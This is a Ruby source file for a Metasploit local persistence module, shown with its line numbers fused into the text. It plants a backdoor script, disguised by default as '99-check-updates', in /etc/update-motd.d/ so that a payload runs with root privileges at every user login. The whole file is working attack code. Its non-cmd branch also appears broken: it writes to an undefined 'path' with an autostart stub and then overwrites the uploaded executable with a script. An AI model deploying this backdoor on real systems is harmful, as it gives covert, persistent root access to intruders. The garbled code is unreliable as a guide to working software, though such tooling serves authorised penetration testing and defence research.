Path: blob/master/modules/exploits/linux/persistence/motd.rb
21839 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::EXE # for generate_payload_exe11include Msf::Exploit::Local::Persistence12prepend Msf::Exploit::Remote::AutoCheck13include Msf::Exploit::Deprecated14moved_from 'exploits/linux/local/motd_persistence'1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'update-motd.d Persistence',21'Description' => %q{22This module will add a script in /etc/update-motd.d/ in order to persist a payload.23The payload will be executed with root privileges everytime a user logs in.24Root privileges are likely required to write to /etc/update-motd.d/.25Verified on Ubuntu 22.0426},27'License' => MSF_LICENSE,28'Author' => [ 'Julien Voisin' ],29'Platform' => [ 'unix', 'linux' ],30'Arch' => [31ARCH_CMD,32ARCH_X86,33ARCH_X64,34ARCH_ARMLE,35ARCH_AARCH64,36ARCH_PPC,37ARCH_MIPSLE,38ARCH_MIPSBE39],40'Payload' => {41'BadChars' => '#%\n"'42},43'SessionTypes' => [ 'shell', 'meterpreter' ],44'Targets' => [ ['Automatic', {}] ],45'Privileged' => true,46'DefaultTarget' => 0,47'DisclosureDate' => '1999-01-01',48'Notes' => {49'Stability' => [CRASH_SAFE],50'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],51'SideEffects' => [ARTIFACTS_ON_DISK]52},53'References' => [54['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],55]56)57)58register_options([59OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']),60OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),61])62end6364def check65return CheckCode::Safe('/etc/update-motd.d/ does not exist') unless exists? '/etc/update-motd.d/'66return CheckCode::Safe('/etc/update-motd.d/ is not writable') unless writable? '/etc/update-motd.d/'6768print_warning("#{datastore['BACKDOOR_NAME']} already exists") if exists? "/etc/update-motd.d/#{datastore['BACKDOOR_NAME']}"6970CheckCode::Appears('/etc/update-motd.d/ is writable')71end7273def install_persistence74update_path = '/etc/update-motd.d/'7576backdoor_path = "#{update_path}/#{datastore['BACKDOOR_NAME']}"7778if exists? backdoor_path79fail_with Failure::BadConfig, "#{backdoor_path} is already present"80end8182if payload.arch.first == 'cmd'83write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")84else85backdoor_path = writable_dir86backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"87backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)88backdoor_path << backdoor_name89print_status("Uploading payload file to #{backdoor_path}")90upload_and_chmodx backdoor_path, generate_payload_exe91write_file(path, (autostart_stub + ["Exec=\"#{backdoor_path}\""]).join("\n"))92@clean_up_rc << "rm #{backdoor_path}\n"93end9495write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")96@clean_up_rc << "rm #{backdoor_path}\n"97chmod(backdoor_path, 0o755)98print_status "#{backdoor_path} written"99print_good('Payload will be triggered at user login')100end101end102103104